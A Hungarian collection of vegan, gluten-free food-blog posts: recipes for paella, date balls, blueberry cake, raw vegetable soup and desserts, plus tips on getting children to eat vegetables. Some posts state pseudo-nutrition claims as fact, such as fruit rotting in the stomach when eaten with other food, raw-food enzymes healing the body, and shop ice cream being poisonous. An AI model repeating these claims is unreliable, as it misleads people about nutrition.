A paella egy jellegzetes spanyol étel, melyet legtöbbször hallal (vagy más hússal) készítenek. Egyszerű és tökéletes ebéd vagy vacsora. Eredetileg fedő nélkül készül egy nagy serpenyőben, de mivel én barnarizst használtam, így mindenképp fedővel készítettem. A sárga színét a sáfrány adja, de mivel ez a fűszer "aranyárban" van, ezért én sáfrányos szeklicét "magyar sáfrányt" használtam. Hozzávalók: 1 csésze barnarizs (én a DM új Bio termékcsaládját nagyon megkedveltem, a barnarizse pedig kifejezetten finom)1/2 csésze zöldborsó1/3 csésze csicseriborsó éjszakára beáztatva20 dkg gomba1 evőkanál kókuszolaj1 vöröshagyma3 gerezd fokhagyma1 kápia paprika - 1 zöldpaprika - 1 paradicsom - 1 marék spenót - 1 mindenmentes zöldségleveskocka - 1/2 kávéskanál pirospaprika - 1/2 kávéskanál sáfrányos szeklice - himalája só, bors Elkészítése: A kókuszolajon pirítsuk meg (kb. 3-5 perc) a megtisztított, és negyedekre vágott gombát. Sózzuk, borsozzuk, reszeljünk bele 1 fokhagymát is.Szedjük ki a serpenyőből, majd dobjuk bele az apró kockára vágott hagymát. Dinszteljük pár percig, majd reszeljük hozzá a fokhagymát is.A spenótot tépkedjük kis darabokra, a paprikákat és a paradicsomot vágjuk fel szintén kisebb darabokra. Az átmosott rizs is mehet hozzá.Pirítsuk együtt pár percig.Ezután a beáztatott csicseriborsót adjuk hozzá, és öntsük fel 2,5 csésze vízzel.Fűszerezzük, fedjük le, és főzzük fél órát úgy, hogy nem keverjük meg.Ezután adjuk hozzá a zöldborsót és a pirított gombát.Főzzük további fél órát, csak az utolsó 10 percben kevergethetjük.
Kókuszos datolyagolyó - egészséges energiabomba
2015. augusztus 2. Élj harmóniában
Tegnapi nappal sikerült beszereznem egy fantasztikus, manuális aprítót. Természetesen ma már a reggeli készítésnél használtam bazsalikom és petrezselyem aprításra, de délután a borongós időben gondoltam az egyik kedvenc desszertemet elkészítem. Sokszor kérdezik a jógások mit eszek, ha édességet kívánok... leggyakrabban datolya-kókusz kombinációt:) Ez nagyon jó energiát ad a testnek és nagyon egészséges. A kókuszos datolyagolyót készítheted vendégvárónak, ajándéknak vagy csak úgy a hétköznapokra energiabombának vagy ha éppen megnő az édesség utáni vágyad:) Hozzávalók: - 1 csésze datolya (kb 20 szem) - 8 dkg kókuszreszelék + kókuszreszelék, a külsejére - 1 púpos ek. karob ( kakaót is használhatsz) - fahéj - vanília A datolyát mosd meg, tedd egy kis tálba, majd öntsd le forralt vízzel és áztasd, hogy megpuhuljon. Vedd ki a vízből a datolyákat és tedd a többi hozzávalóval együtt egy aprítóba - ez lehet elektromos turmixgép is. Kezd el összeturmixolni és ha szükséges a datolya áztató vízből annyit tegyél hozzá, hogy formázható, krémes állagú legyen. A masszából formázz golyókat és forgasd bele kókuszreszelékbe. Vegyszermentes (bio) alapanyagokat használj!
Pikk-pakk kész, puha áfonyás szelet és a nagyszabású áfonya fesztiválok (gluténmentes, laktózmentes, tojásmentes, vegán)
pikk-pakk kész, puha áfonyás szelet (mindenmentes, vegán) A világ számos országában a fekete áfonya az egyik legnépszerűbb, leggyakrabban fogyasztott gyümölcs. Ázsiától Amerikáig, Nyugat-európán át mindenhol kedvenc alapanyag a konyhában, és gyakran fogyasztott bogyós gyümölcs már több száz éve. Magyarország nem tartozik ezen országok közé (sajnos ez magas árának is köszönhető:-( ), pedig a Hupikék Törpikék által is kedvelt kék csoda bogyó, rendkívül értékes tápanyagtartalommal bír. Méretében kicsi, de rendkívül ízletes, és kevés olyan étel van, amely ennyire egészséges lenne, mint a fekete áfonya. ;-) pikk-pakk kész, puha áfonyás szelet (mindenmentes, vegán) Arról, hogy milyen egészségügyi előnyei vannak a rendszeres áfonya fogyasztásnak, majd egy legközelebbi posztban térnék ki. Most inkább ezt a számunkra kissé idegen, a Világ számára pedig nagyon is ismert, sötétkék bogyót mutatnám be nektek egy másik oldaláról, ami nem a főzés, sütés. Miről is beszélek? A nagyszabású fekete áfonya ünnepekről, fesztiválokról, melyeket a Világ különböző pontjain (főleg Amerikában) rendeznek meg minden évben nagy szeretettel. Ezeken, az akár több napos fesztiválokon a főszerep a fekete áfonyáé! :-) Blueberry Hank at the Marshall County Blueberry Parade Az utak mentén fekete áfonya árusok kínálják finomabbnál finomabb terméseiket, jelmezes felvonulások, családi programok, koncertek, fellépők, játékok kicsiknek és nagyoknak, különböző egyéni és csapat versenyek, mulatságok szórakoztatják a kilátogatókat, és mindez a fekete áfonya bűvöletében! :-) A fesztiválozók a nyers, bio gazdaságokból származó fekete áfonya szemekből csipegetnek; vagy ha nassolni támad kedvük, ízletes áfonyás süteményekből válogatnak; az éhezők pedig sült húsokból lakomázna, melyek természetesen áfonyás mártással készülnek. ;-) Evés után pedig jól esik egyet inni, ezért a gyerekek a Hupikék Törpikékből is jól ismert áfonya szörpökből szürcsölgetnek, míg a felnőttek az áfonyabort kóstolgatják. ;-) A vidám, jelmezes felvonulások, a fesztiválok fénypontjai a fekete áfonya királynők megválasztása, és azok bemutatása a közönség előtt. A fergeteges hangulat, a szórakoztató programok, az áfonya fesztivál pedig egy nagyszabású tüzijátékkal zárul minden évben! ;-) A Berry wonderful FestNem tudom ti, hogy vagytok vele, de én nagyon szeretem a gasztronómiai témájú fesztiválokat! :-) Annyira meghozták a kedvemet ezek a külföldi fekete áfonya fesztiválok, hogy gyorsan utána is néztem, Magyarországon szerveznek-e hasonlót? Elég sok gasztronómiai témájú fesztivál van Magyarországon is, de áfonya fesztivált legközelebb Vármezőn (Románia) találtam. 2013-ban ünnepelte a 10. Áfonyafesztivált Vármező, azonban sajnos ennél frissebb híreket nem láttam az Interneten, amiből arra merek következtetni, hogy a 10.volt az utolsó, amit megszerveztek. (Itt jegyezném meg zárójelben, hogy akinek tudomása van róla, hogy még mindig megrendezésre kerül a vármezői Áfonyafesztivál, akkor az legyen szíves jelezze nekünk, hátha valaki szívesen részt venne a programon! ;-) ) pikk-pakk kész, puha áfonyás szelet (mindenmentes, vegán) És akkor térjünk át a receptre. Ritkán készítek egyszerű kevert süteményeket, de egyik este nagyon megkívántam valami gyors, édes szénhidrát bombát, fehér tésztával. Másnap természetesen fakanalat is ragadtam, megnéztem mi van itthon, és ez a pikk-pakk kész, gyorsan elkészíthető, mindenmentes, könnyű és puha, nagyon finom áfonyás sütemény lett belőle. Tökéletes nassolni való egy jó kávé vagy tea mellé, de még egy bögre meleg növényi tejes kakaót is el tudok képzelni hozzá. :-) HOZZÁVALÓK : (17 cm-es tortaformához) - 3/4 bögre rizsliszt - 3/4 bögre mandulaliszt (darált mandula) - 1 citrom reszelt héja (kezeletlen, bio citrom) - 1/2 tk szódabikarbóna - 3 ek kókusz olaj (olvasztott kókusz zsír) - 1/4 bögre mandula tej (vagy bármilyen más növényi tej) - bő 1/2 bögre natúr laktózmentes joghurt (pl.: szója joghurt) - 1/2 bögre eritrit (más édesítő is megfelel) - csipet Himalája só - 1 bögre fekete áfonya (vagy más tetszés szerinti gyümölcs) - 1 ek vanília kivonat - opcionálisan Az áfonya helyett természetesen használhattok más idény gyümölcsöt is pl.: meggyet, cseresznyét, barackot, szedret, szőlőt, ribizlit stb. ELKÉSZÍTÉS: Mint minden egyszerű kevert tésztát, ezt is nagyon könnyedén el lehet készíteni, mindenféle konyhai jártasság nélkül. :-) Előveszünk két műanyag keverőtálat. Az egyikbe alaposan összekeverjük a folyékony hozzávalókat, a másikba a szilárd alapanyagokat. Majd fogjuk és a két tál tartalmát is összeöntjük. Addig keverjük alaposan a fakanállal, míg teljesen egynemű, csomómentes tésztát kapunk. A megmosott fekete áfonya szemek felét a tésztába keverjük. Elővesszük a torta formánkat (én 17cm-eset használtam), kibéleljük sütőpapírral, (vagy csak kikenjük zsiradékkal és liszttel), közben pedig előmelegítjük a sütőt 180 °C -ra. A torta formába öntjük a nyers tésztát, majd a tetejére szórjuk a maradék fekete áfonyát. Betesszük az előmelegített sütőbe, és kb.40 perc alatt készre sütjük. Miután már az egész lakást átjárja a finom sütemény illat, tűpróba után kivehetjük a megsült tésztát. Hagyjunk kihűlni egy kicsit, mielőtt eltávolítanánk a formából. Ha valaki a kávé, tea vagy kakaó helyett szeretne a sütemény mellé diétás és ízletes öntetet, turmixoljon le egy érett banán, egy fél citrom levével, és fogyassza ezzel a citromos banános öntettel a könnyed áfonyás szeletet. pikk-pakk kész, puha áfonyás szelet (mindenmentes, vegán) Bűntudatmentes nassolást kívánunk! ;-) Megjegyzés1: Ritkán készítek "sült gyümölcsöket", hisz nem jó hőkezelni őket, mert elvesztik vitamin tartalmuk nagy részét. :-( A helyes ételtársítás szabályainak sem feleltem meg ezúttal, mert a gyorsan felszívódó gyümölcsöt nem szabad semmi mással keverni, együtt fogyasztani, mert megakad a lassabban emészthető étellel a gyomorban, és rothadásnak indul a gyümölcs, ami kellemetlen tüneteket okozhat, és elégtelen emésztéshez vezethet. Néha én is szemet húnyok a szabályok felett, és csak átadom magam az élvezetnek! :-) Persze azért a glutén- és laktózmentességre, a könnyebben emészthető alapanyagokra ebben a receptben is figyeltem! ;-) (Bővebben erről a témáról Angela Maria Marui - Helyes ételtársítás c. könyvében olvashattok.) Megjegyzés2: Ha valaki Nagykanizsa környékén lakik, akkor szeretettel ajánlom az Áfonyakert Szedd magad! Akcióját, ahol a piaci árnál olcsóbban, vidám társaságban, egy jó kis családi élménnyel gazdagabban juthat bio minőségű fekete áfonyához minden évben! :-) pikk-pakk kész, puha áfonyás szelet (mindenmentes, vegán)
Egészséges táplálkozás gyerekekkel
2015. július 27. Zizi kalandjai
Sokan kértétek, hogy adjak tippeket ahhoz, hogyan tudnátok a zöldséget megszerettetni a gyermekeitekkel vagy esetleg kétségbeesett helyzetben – amikor úgy érzitek a gyerek semmit nem hajlandó megenni, amit elé tesztek – mitévők legyetek. Összeírtam néhány dolgot, amelyek nálunk beváltak, de persze ezt ne vegyétek készpénznek, mert minden gyerek más és más, szóval kiszámíthatatlan, hogy kinél mi fog javulást vagy változást hozni. Ez egyszerűen egy hétköznapi anyuka listája olyan dolgokról, amelyek nálunk fontos szerepet játszanak az étkezésben. Sok sikert mindenkinek!
1. Alapok
Az egyik legfontosabb dolog, hogy hogyan indítjuk a hozzátáplálást, majd az azt követő hónapokat. A szezonalitásnak megfelelően kóstoltassunk meg a babával minél többféle zöldséget és gyümölcsöt, hogy szokja az ízeket. Mi zöldséggel kezdtük, répa volt az első szilárd étele Ádinak. Elképzelhető, hogy az édesebb almát, őszibarackot jobban kedvelné egy baba, azonban nálunk nagyon bevált az édeskés répa. Példa: ha a gyermek 4-5 éves korában adunk neki először avokádót (ami az egyik legtáplálóbb “gyümölcs”), akkor ne csodálkozzunk, hogy nem fogja szeretni. Vezessük be az étrendjébe már 1-1,5 éves kora körül (manapság jó minőségű avokádó kapható országosan a nagyobb szupermarketekben), vagyis az első két évben kóstoltassunk vele minél többféle zöldséget és gyümölcsöt. Biztosan lesznek kedvencei és olyanok is, amelyek kevésbé ízlenek neki, de minél többfélét kóstol, annál nagyobb az esély, hogy többet is fog szeretni.
2. Példamutatás
Nálunk szerencsére az egész család egyformát eszik, vagyis apa, anya és gyerek is vegán/vegetáriánus. Azoknál a családoknál, ahol vegyes táplálkozás van (egyesek húsevők, egyesek vegánok/vegetáriánusok), azoknál nehezebb megoldani a példamutatást (de nem lehetetlen!), vagyis, hogy mi szülők is együk ugyanazt, amit a gyermekünknek adunk. Ha mi rántott húst eszünk, de a gyereknek egy tányér zöldséges tésztát adunk, ne csodálkozzunk, ha nem eszi meg. Ráadásul, ha a másolás időszakában van, akkor biztosan ugyanazt akarja enni, mint mi, tehát a zöldséges tészta nem kell majd neki, helyette rántott húst akar enni. Ugyanez vonatkozik bármilyen más ételre is, például a gyereknek humuszt és zöldségeket adunk uzsonnára, mi pedig vajas kenyeret vagy chipset eszünk, akkor biztosan a vajas kenyér vagy a chips fogja érdekelni, nem pedig a humusz zöldségekkel.
3. Kreativitás
A kreativitás vonatkozik a főzésre és a tálalásra is. Ha egyes zöldséget nem eszik meg a gyerekünk, akkor próbáljuk más formában adni neki, esetleg rejtettem. Például nem szereti a cukkinit és a répát felkockázva tésztaszószban, de ha apróra reszeljük és így dinszteljük meg hagymával, fokhagymával, aztán nyakon öntjük egy adag paradicsomszósszal, akkor a zöldségek szinte el fognak veszni a szószban, tehát elképzelhető, hogy szerencsével járunk és ízleni fog neki. Lehet teljesen rejtetten adni, például cukkinit csokis sütibe belekeverni, így aztán lehetetlen észrevennie a gyereknek, hogy cukkinit is eszik. Tehetünk zöld leveleseket smoothie-ba is, ez általában sikert szokott aratni. A tálalásnál is fontos a kreativitás. Én preferálom az osztott tányérokat, így teljesen külön tudom szedni a különböző színű és textúrájú ételeket. Persze a kreatív tálalást el lehet vinni egész extrém irányba is, ha az ember lányának van erre ideje.
4. Piacozzunk és főzzünk közösen!
Lehetőségeinkhez mérten már korán (minél fiatalabb korban) kezdjük el a piacozást, ha nem is iktatjuk be heti programnak, havonta azért egy pár alkalommal menjünk el a gyerekünkkel piacra és hagyjuk a szupermarketet másra. Szokja a gyermek a piac illatát, hangulatát, tanulja a színeket, a formákat, az ízeket (saját tapasztalat: gyereknek mindig adnak kóstolót az árusok/termelők). Mi imádunk piacra járni szombatonként, ez nálunk már családi program, ilyenkor az egész délelőttöt, sőt az ebédidőt is a piacon töltjük, összekötve egy kis játszóterezéssel. Hétköznap is el szoktunk menni piacra, szóval ez nálunk heti többszöri programot jelent. Ha pedig együtt bevásároltunk, akkor hetente minimum egyszer, de inkább több alkalommal vonjuk be a gyereket a főzésbe/sütésbe. Igen, tudom, ilyenkor lassabban haladunk és sokkal maszatosabb lesz a konyha, de mindenképpen megéri a fáradozást. Látja, hogy mennyi “munkát” igényel az ebéd/vacsora elkészítése, ismerkedik a különböző műveletekkel és eszközökkel (vágás, aprítás, keverés, robotgép bekapcsolása, stb.), anyával/apával együtt megkóstolja nyersen a zöldségeket mielőtt az ételbe kerülnek, stb. Nagy az esély rá, hogy ha bevonjuk a gyereket a főzésbe, akkor utána nagyobb kedvvel kóstolja meg azt az ételt, amelynek az elkészítésében ő is részt vett.
5. Cukor “veszély”
Nálunk a cukor kimaradt Ádi étrendjéből két éves koráig! Persze édeset evett gyümölcsök és aszalt gyümölcsök formájában, de cukrosat nem. A süteményeket általában juharsziruppal, mézzel vagy kókuszcukorral készítem, ezekből most már szokott enni, de mivel nagyon-nagyon ritkán sütök, ezért kevés ilyen dolog kerül a tányérjára. Csokoládét még nem evett, kakaós dolgot viszont igen. Fagyit is idén kora nyártól kezdett először enni. Azt is többnyire én készítem és akkor a gyümölcsön kívül más édesítőszer nem is kerül bele, viszont, ha külső helyszínen esszük, akkor egy gombóc gyümölcs fagylalt bőven elég neki. Nem igazán rajong az édes dolgokért (sütemény, fagylalt), szóval nem is nagyon erőltetjük. A korai cukor étrendbe való bevezetésével megváltozhat az ember ízérzékelése és már nem fogja a zöldségeket/gyümölcsöket olyan édesnek érezni, mint, amilyenek valójában. Két év cukor “kihagyással” (úgyis fog még eleget enni életében) viszont elértük azt, hogy simán eszik nyersen citromot, lime-ot, meggyet, homoktövisbogyót és kíváncsisággal kóstolja meg a kevésbé édes zöldségeket is nyersen (brokkoli, karfiol, leveleskel, tök, stb.). Persze már most gondolkodom azon, hogy mi lesz, ha két gyerekünk lesz és a másodiknál is tartani szeretnénk azt, hogy két éves koráig ne egyen cukros dolgot… ez már nehezebb lesz, ha látja, hogy a bátyus eszik mondjuk egy muffint, akkor ő miért nem kaphat. Ezen még ráérünk, akkor gondolkodni, ha odaérünk, de el tudom képzelni, hogy arra az időszakra megint átállunk cukor/édesség mentes üzemmódba.
Cukor “veszély” leselkedhet ránk a különböző élelmiszerek összetevőjeként is, tehát legyünk türelmes címke olvasók és ne vegyünk olyan termékeket, amelyeknél a felsorolásnál az első összetevő a cukor… persze, ha a sokadik összetevő a cukor, akkor se vegyük meg. Igyekezzük kerülni a cukros élelmiszereket és lehetőleg minél később adjunk gyermekünknek ilyen ételt/italt.
6. Ital
Nyilván az első étel/ital az anyatej volt, emellett vizet kapott Ádi (nagyon meleg időben). Azóta is vizet iszik szomjoltásra, ez a kedvence. Ezenkívül nem cukrozott növényi tejet (rizs, zab, mandula) iszik és alkalmanként 100%-os zöldség vagy gyümölcslevet. Teát, gabonakávét nem adtam neki és természetesen cukros, szénsavas üdítőt sem. Néha ledöbbenek, hogy milyen fiatal, kicsi gyerekek kezében látok kolát vagy fantát. Kerüljük az ilyen italokat, valószínűleg tinédzser korban fog elég ilyet inni a gyerek (vagy nem… abban az esetben, ha példát mutatunk és mi sem iszunk… – én nem szeretem az ilyen italokat, tehát Ádi biztosan nem lát és fog látni engem kolát inni!).
7. Nyugalom és harmónia
Ha mi stresszelünk, hogy miért nem eszik a gyerek vagy már megint miért válogat vagy ha nem eszik, akkor nem jut elég tápanyag a szervezetébe, akkor ez a negatív energia érződni fog rajtunk és nem fogunk sikerrel járni. Fő a nyugalom! Ha van többféle alapanyag, étel a hűtőnkben, kamránkban, akkor biztosan nem fog a gyermek éhezni. Igyekezzünk nyugodtan “fogadni” a hóbortokat, a válogatást, általában változó időszak után újra be szokott állni a “rend”. Nálunk is fordultak elő ilyen időszakok, bár néha azt érzem, hogy Ádival igazán szerencsés vagyok, amiért ennyire kíváncsi és hajlandó minden zöldséget nyersen (is) megenni. Legyünk kreatívak és alkalmazzuk a fentebb leírt pontokat, biztos vagyok benne, hogy lesznek sikeres napjaink! Hajrá!
Vegán tejbegríz nemcsak gyerekeknek, gluténmentesen
2015. július 23. Éltető ételek
Már korábban készítettem tejbegrízt, melyet csak a "mihez hasonlítsam" gondolat miatt neveztem el így. Ugyanis se nem tejjel se nem grízzel készült. De a gyerekek nagy örömére van olyan finom, sőt... finomabb, mint a hagyományos változat. Bár lassan már nem is emlékeznek rá, hogy milyen is a régi tejbegríz, csak az óvodában, iskolában kapnak hébe-hóba. Ez a mostani változat egy kicsit krémesebb lett, mert került bele a kókusztejszínből egy kevéske. Egyébként ez a kása - mert ugye ezt annak is nevezhetjük - nagyon finom egy fincsi gyümölcskrémmel is. De ez már egy másik recept. Hozzávalók: 1 csésze rizsliszt (én egész rizsszemet pelyhesítettem le 2x, így nagyon jó kis rizsliszt lett belőle) - 2 csésze rizstej - 1 csésze víz - 2 evőkanál kókuszreszelék - 1 kávéskanál vaníliapor - fél doboz kókuszkrém - 2-3 evőkanál juharszirup (nem vegánoknak méz) - csipet só - tetejére cukrozatlan kakaópor és kókuszvirágcukor Elkészítése: - A tejet és a vizet tegyük fel egy lábasba főni. Adjuk hozzá a kókuszreszeléket és a vaníliaport. - Főzzük meg benne a rizslisztet. Nagyon sűrű massza lesz, de nem baj. - Vegyük le a tűzről, és keverjük bele a kókuszkrémet. - Szedjük ki tálkába, és szórjuk meg kókuszcukros kakaóporral.
Olaszos vöröslencse-főzelék
2015. július 22. Éltető ételek
Ezt a főzeléket igen hamar el lehet készíteni, mivel a lencsét még áztatni sem kell. Én ezt főtt barnarizzsel tálaltam, de akár zabfasírt is kerülhet mellé. De ha főzünk bele krumplit, akkor önmagában is megállja a helyét. Zsófi lányom volt a főkóstoló, aki azt mondta, hogy ilyet bármikor készíthetek. Hozzávalók: - 30 dkg vöröslencse - 1 vöröshagyma - 2 gerezd fokhagyma - 3 paradicsom - 1 kápia paprika (csíkokra és kockára vágva) - 1 sárgarépa - 1/2 mindenmentes zöldségkocka - só, bors, oregano, bazsalikom - 1 evőkanál kókuszolaj Elkészítése: A kókuszolajon megdinszteljük a csíkokra vágott hagymát és kápia paprikát, belereszeljük a fokhagymát, majd hozzáadjuk az átmosott vöröslencsét is.Együtt pirítjuk úgy 2-3 percig, majd ráöntjük az összeturmixolt paradicsomot. Adunk még hozzá kevés vizet is.Főzzük 10 percig, majd a felét botmixerezzük össze. Adjuk hozzá a felkockázott sárgarépát és a kápia paprikát, és főzzük készre.
Málnafagyi csokidarabkákkal
Nagyon nagyon meleg van, a bolti jégkrém pedig mérgező és méreg drága. Így megint beindult a fantáziám ;) Hozzávalók: 1/2 kg málna 1 banán 2 ek kókuszreszelék 1 ek kókusztejpor 1 kk vanília 1 ek darált lenmag 1 dl forrásvíz 5 ek méz, vagy más édesítő. Vad édesnek kell lennie, mert a fagyasztás elvesz az […]
Gyümölcsös kocka
Újratervezés volt ma, málnás kockát terveztem, de a málna nem így gondolta :/ Pár nap alatt tönkrement a hűtőben :( De ez a vegyes gyümölcsös élő csoda kárpótolt, remélem, a lányok is így gondolják holnap ;) Hozzávalók az alaphoz: 25 dkg kókuszreszelék 10 dkg zabpehely 10 dkg mogyoró 1 csipet só 1 csipet vanília 1 […]
Pikk-pakk kész, főzésmentes zöldségleves gazdagon (gluténmentes, laktózmentes, tojásmentes, vegán, nyers)
Ennek a posztnak azt a címet is adhattam volna, hogy Pak Choi leves nyersen újratöltve! :-D Pikk-pakk kész, főzésmentes zöldségleves gazdagon (mindementes, vegán, nyers) Megint jön a kánikula... Szerintem senkinek nem mondok vele újat, ha azt írom, hogy a nagy melegben mindenki a lédús, friss és üde ételekre, sok sok folyadékra, nyers és roppanós zöldségekre, édes gyümölcsökre vágyik! Ilyenkor nem is egészséges túlzásba vinni a főtt, sült, fűszeres ételek fogyasztását. Vérbeli magyarként azonban, nem túl sok nyers, párolt, természetes ételt ismerünk. Alig tudjuk elképzelni, hogy a hagyományos zöld leveles salátákon túl is van élet, ha könnyed ételt szeretnénk fogyasztani! ;-) Egy ilyen, kánikulában is tökéletesen frissítő, energiadús és tápanyagban gazdag, újabb pikk-pakk kész receptet hoztam nektek. Egy zöldséglevest, melyhez nem kell bekapcsolni a tűzhelyet, csakis természetes és friss alapanyagokból készül, nagyon ízletes és még szemet gyönyörködtető is. Még egy példa rá, hogy nem csak hideg gyümölcslevest lehet készíteni főzés nélkül! ;-) Pak choi zöldségleves Májusban bemutattam nektek itt a Zöld Avocado blogon, hogy mi is az a Pak choi, és hogyan készíthetünk belőle egyszerűen nagyszerű, finom zöldséglevest. Kaptam néhány visszajelzést, hogy kipróbáltátok, és rettentően ízlett nektek is! :-) Az akkori recept megjelenés után felvetődött egy kérdés egy nyersétkezős olvasótól, amit én nem tudtam figyelmenkívül hagyni, így természetesen "Challenge accepted!", itt a megoldás rá! :-) A feldobott labda pedig az volt, hogy hogyan lehetne elkészíteni ennek a levesnek a nyers változatát, olvasóknak, akik nem fogyasztanak hőkezelt ételeket? A válasz hamar megszületett bennem, és most, hogy mindenki olyan recepteket keres, amikkel könnyebb átvészelni a fülledt, meleg nyári napokat, azt hiszem tökéletes az időzítés, hogy megosszam veletek. nyers gyümölcsös kókuszgolyóknyers kókuszos kosárkák Egyre többen vannak a világban, azok az emberek, akik nem fogyasztanak semmiféle hőkezelt ételt, csakis nyersen elkészíthető, ún. élő ételekkel (raw food) táplálják a testüket. Ezt az irányzatot enzimtáplálkozásnak, vagy NYERS (VEGÁN) TÁPLÁLKOZÁSnak is hívják. A zöldségek, gyümölcsök a hő hatására sajnos elveszítik vitamin tartalmuk nagy részét, illetve az egészséges táplálkozáshoz szükséges teljes enzim tartalmukat, ezért a nyersétkezők minden növényi alapanyagot úgy fogyasztanak, ahogyan azt a természet megalkotta, nyersen. :-) Az aszalás az egyetlen technológia, ami engedélyezett az irányzat követői számára. (40°C még az a maximum hőmérséklet, ahol a vitaminok és enzimek még nem sérülnek.) Ha teheted, te is fogyassz minél több nyers és friss, tápanyagban és enzimben gazdag, és kevesebb feldolgozott ételt! Segítsünk, hogy igaz legyen Hippokratész egyik elhíresült mondása: ,,Ételed legyen orvosságod, orvosságod legyen ételed. Bővebben a nyers vegán táplálkozásról Antal Vali oldalán, vagy Urbán Vali oldalán a nyersetel.hu-n is olvashatsz. Pikk-pakk kész, főzésmentes zöldségleves gazdagon (mindenmentes, vegán, nyers) HOZZÁVALÓK (kb.4 főnek): az alapléhez: - 1 db pak choi vagy mángold - 1 szál szárzeller - 1/4 lila hagyma - 1-1,5 liter tiszta víz - Himalája só, frissen őrölt fekete bors - 2 ek sörélesztőpehely a leves tartalmához: - 2 db közepes sárgarépa felkarikázva - 1 marék karfiol apró rózsákra szedve, mint galuskák a levesben - 1/2 db sárga (kaliforniai) paprika - 1 marék friss petrezselyem - 1 bögre zöldborsó Minden hozzávalót frissen és nyersen használunk fel ebben a levesben. Mivel kevés a hozzáadott fűszer, és hőkezelés sem éri a zöldségeket, ezért az össz ízhatást nagyban befolyásolja, hogy milyen finom zöldségeket használunk. Próbáljunk meg jó minőségű, kisebb gazdaságokból származó, bio alapanyagokat használni! Pikk-pakk kész, főzésmentes zöldségleves gazdagon (mindenmentes, vegán, nyers) ELKÉSZÍTÉS: Ez egy újabb egyszerűen elkészíthető, pikk-pakk kész, életerőben gazdag, élő leves, amit akár a konyhában idegenként mozgó családtagjaink (férj, feleség, gyerekek) is bármikor meglephet minket vele! ;-) Össze kell csak dobálni a hozzávalókat, a turmix gépbe, majd egy tálba, és kész is. :-) Ezt pedig bárki meg tudja csinálni! ;-) A leves alapléhez szükséges hozzávalóit a fűszerek nélkül (zeller, pak choi vagy mángold, lila hagyma, víz) tegyük a turmixgépbe, és jó alaposan dolgoztassuk össze vele, míg egy teljesen híg levet nem kapunk. Öntsük az egészet egy nagyobb tálba, vagy akár leveses edénybe, majd tegyük hozzá a fűszereket ízlés szerint (Só, bors és sörélesztőpehely), és keverjük el. Most mehetnek bele az előre felaprított rágnivaló részek (karfiol, borsó, paprika, répa). Használhatunk egyéb, nyersen is fogyasztható zöldségeket kedvünk szerint (pl.: cukkini, brokkoli). Mindent nyersen, hőkezelés nélkül használjunk, így sokkal értékesebbek, mert a hőre érzékeny vitaminok is megmaradnak. Ettől lesz olyan energiadús, és friss, aminek köszönhetően mi is új erőre kapunk a nagy melegben! ;-) Amint beleszórtunk mindent a fűszeres alaplébe, már tálalhatunk is! Ugye, hogy gyors volt? ;-) Pikk-pakk kész, főzésmentes zöldségleves gazdagon (mindenmentes, vegán, nyers) Táplálékban, energiában és frissességben gazdag jó étvágyat kívánunk ehhez a hűsítő, enzimgazdag zöldségleveshez! ;-) Megjegyzés1: Ha már nem kaptok Pak choi-t a jól bevált zöldségeseteknél (elméletben már vége a tavaszi pak choi szezonnak), akkor sem kell elmenteni ezt a receptet a következő szezonig, mert helyette használhatunk mángoldot is. Ugyanolyan finom leves lé készül belőle! Próbáljátok ki! :-) Megjegyzés2: Sokkal finomabb, mint ahogy azt a fejemben előre gondoltam! Meglepően abbahagyhatatlanul finom és még tápláló is lett ez a leves! A sok sok rágnivaló pedig gondoskodik róla, hogy jól lakjunk, a rengeteg vitaminnak, ásványi anyagnak, nyomelemnek, és enzimnek köszönhetően pedig még gyógyítjuk is a testünket közben! ;-) Pikk-pakk kész, főzésmentes zöldségleves gazdagon (mindenmentes, vegán, nyers)
Málnazselés csokitorta
2015. július 13. Éltető ételek
Újabb szülinap, újabb csokitorta. A gyerekeim más-más évszakban születtek, így a tortához felhasznált gyümölcs is mindig más. Ilyenkor dúskálunk finomabbnál finomabb gyümölcsökben, így ebbe a tortába is jó sok került. Elkészítése: Tészta: - 20 dkg datolya - 20+5 dkg áztatott/szárított dió - 5 dkg kókuszreszelék - 1 kávéskanál vaníliapor - csipet só Csokikrém: - 20 dkg datolya - 1 doboz kókuszkrém - 1 kávéskanál vaníliapor - 4 dkg olvasztott kakaóvaj Málnazselé: - kb. 70 dkg málna - 1 evőkanál méz vagy juharszirup - vaníliapor - 2 teáskanál agar-agar Töltelék: 3-4 érett őszibarack Díszítés: áfonya, málna Elkészítése: - A datolyát a 20 dkg dióval és a kókuszreszelékkel jó morzsára daráljuk. - Hozzáadjuk még a megmaradt 5 dkg diót, de ezt már nem kell morzsásra, nyugodtan maradjon darabos. - A csokikrémhez a datolyát beáztatjuk a kókuszkrémbe, majd hagyjuk állni pár órát. A többi hozzávalóval együtt jól turmixoljuk össze. - A málnazseléhez szintén turmixoljunk, majd szitán nyomjuk át (én gyümölcspréssel csináltam). Ebből a mennyiségből kb. 3 dl sűrű lé lett. - Tegyük fel melegedni, majd keverjük hozzá az agar-agart. Éppen csak rottyantsuk fel. - Közben a barackokat hámozzuk meg és szeleteljük fel.Összeállítása: - A morzsalékos tésztát nyomkodjuk egy tortaformába (22 cm-es) úgy, hogy pereme is legyen. - Tegyük bele a csokikrémet, és tegyük be a fagyasztóba úgy fél órára. - Szépen helyezzük rá a barackokat, és öntsük rá a málnazselét. - Díszítsük gyümölcsökkel. - Legalább 2-3 órát tegyük be a hűtőbe.
Lecsós bableves
Itt a szezonja a hüvelyes baboknak. Nekem éppen sárga volt, így ebbe a levesbe ez került. De nyugodtan készítheted zölddel is. Ennek a levesnek az alapötletét innen vettem, de egy kicsit lecsósabban készítettem el. Hozzávalók (3-4 fő) - 30 dkg sárga- vagy zöldhüvelyű bab - 1 vöröshagyma - 1 paprika - 2 paradicsom - 2 gerezd fokhagyma - 1 kisebb batáta - 1 evőkanál kókuszolaj - só, bors - kevéske citromlé Elkészítése: - A babot megtisztítom, és feldarabolom úgy 2-3 cm-es darabokra.A kókuszolajba beleteszem az apróra vágott hagymát és a kis kockára vágott paprikát és paradicsomot. Belereszelem a fokhagymát is.Együtt sütöm, kevés vizet is öntök alá, hogy jó lecsós állaga legyen. A gyerekeim nem szeretik, ha darabos a paprika és a paradicsom, ezért krumplinyomóval még jól megpépesítettem.Hozzáadom a babot és a felkockázott batátát is.Felöntöm vízzel, és fűszerezem.Kb. 25 perc alatt megpuhul a bab, és el is készült a finom leves. Legközelebb egy kevéske (1 marék) kölest még fogok belefőzni.
Kókuszos málna torta
A nyári melegben ha valami könnyűre, finomra, vegánra, cukormentesre és egyben gluténmentesre vágysz, az alábbi torta nagyszerű választás.
